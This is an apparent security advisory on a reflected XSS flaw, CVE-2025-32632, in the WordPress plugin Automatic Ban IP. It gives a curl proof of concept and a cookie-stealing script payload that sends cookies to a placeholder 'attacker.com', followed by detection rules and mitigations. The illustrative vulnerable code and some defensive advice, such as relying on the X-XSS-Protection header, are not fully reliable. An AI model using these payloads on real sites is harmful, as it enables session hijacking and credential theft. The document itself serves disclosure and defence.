CVE-2025-32632

Executive Summary

CVE-2025-32632 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Automatic Ban IP by KaizenCoders, affecting versions up to and including 1.0.7. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score is 7.1 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or backporting the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although user interaction is required, the low complexity and network-based attack vector make this a viable phishing vector. The lack of a patch increases the window of exposure.

Deep Dive & Mechanics

The vulnerability exists in the automatic-ban-ip plugin, specifically in how it handles HTTP request parameters when generating error or status messages. The plugin fails to sanitize or escape user-controlled input before reflecting it back in the HTML response. An attacker can craft a malicious URL containing a JavaScript payload in a query parameter (e.g., ?ip=<script>alert(1)</script>). When a victim visits this URL, the payload executes in their browser context.

Root Cause: The plugin uses $_GET or $_REQUEST data directly in output without proper escaping (e.g., esc_html() or esc_attr()). This is a classic reflected XSS pattern.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/wp-admin/admin.php?page=automatic-ban-ip&ip=<script>alert(document.cookie)</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin processes the ip parameter and reflects it in the page without sanitization.
4. The injected script executes, stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.7):

// In automatic-ban-ip.php or similar
$ip = $_GET['ip'];
echo "<div class='notice'>IP: $ip</div>";

Patched Code (hypothetical fix):

$ip = isset($_GET['ip']) ? sanitize_text_field($_GET['ip']) : '';
echo "<div class='notice'>IP: " . esc_html($ip) . "</div>";

The patched version uses sanitize_text_field() to strip malicious input and esc_html() to safely encode output.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with Automatic Ban IP <= 1.0.7 installed and activated.
• A web browser or curl.

Proof-of-Concept (PoC):

curl -v "http://target-site.com/wp-admin/admin.php?page=automatic-ban-ip&ip=<script>alert('XSS')</script>"

If successful, the response will contain the unescaped script tag, and a browser visiting the URL will execute the JavaScript.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests containing <script> or onerror= in query parameters to admin.php?page=automatic-ban-ip.
2. Deploy a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Use browser-based XSS filters (e.g., X-XSS-Protection header).

Mitigation (Temporary):

• Disable the plugin until a patch is available.
• Add a custom filter in WordPress functions.php:

add_filter('query_vars', function($vars) {
    if (isset($_GET['ip'])) {
        $_GET['ip'] = sanitize_text_field($_GET['ip']);
    }
    return $vars;
});

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin.php?page=automatic-ban-ip&ip= containing <script> or onerror= patterns.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.

• File IOCs:

  • Modified automatic-ban-ip.php or related files with injected code.
  • Suspicious entries in WordPress wp_options table related to the plugin.

• Log IOCs:

  • Web server access logs showing repeated requests to the vulnerable endpoint with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2025_32632_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Automatic Ban IP plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32632"
    strings:
        $xss_pattern1 = /admin\.php\?page=automatic-ban-ip&ip=.*<script/i
        $xss_pattern2 = /admin\.php\?page=automatic-ban-ip&ip=.*onerror=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Automatic Ban IP Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the Automatic Ban IP plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=automatic-ban-ip&ip='
        cs-uri-query|re: '(<script|onerror=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of IP parameter with safe values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32632 Reflected XSS in Automatic Ban IP"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=automatic-ban-ip"; http_uri; pcre:"/(<script|onerror=|javascript:)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block requests containing <script> in the ip parameter.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• The vendor must release a patched version (e.g., 1.0.8) that properly sanitizes and escapes user input.
• Users should update to the latest version once available.

Workaround (if plugin must remain active):

• Add the following to .htaccess (Apache) or equivalent:

RewriteCond %{QUERY_STRING} (page=automatic-ban-ip&ip=.*<script) [NC]
RewriteRule .* - [F,L]

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst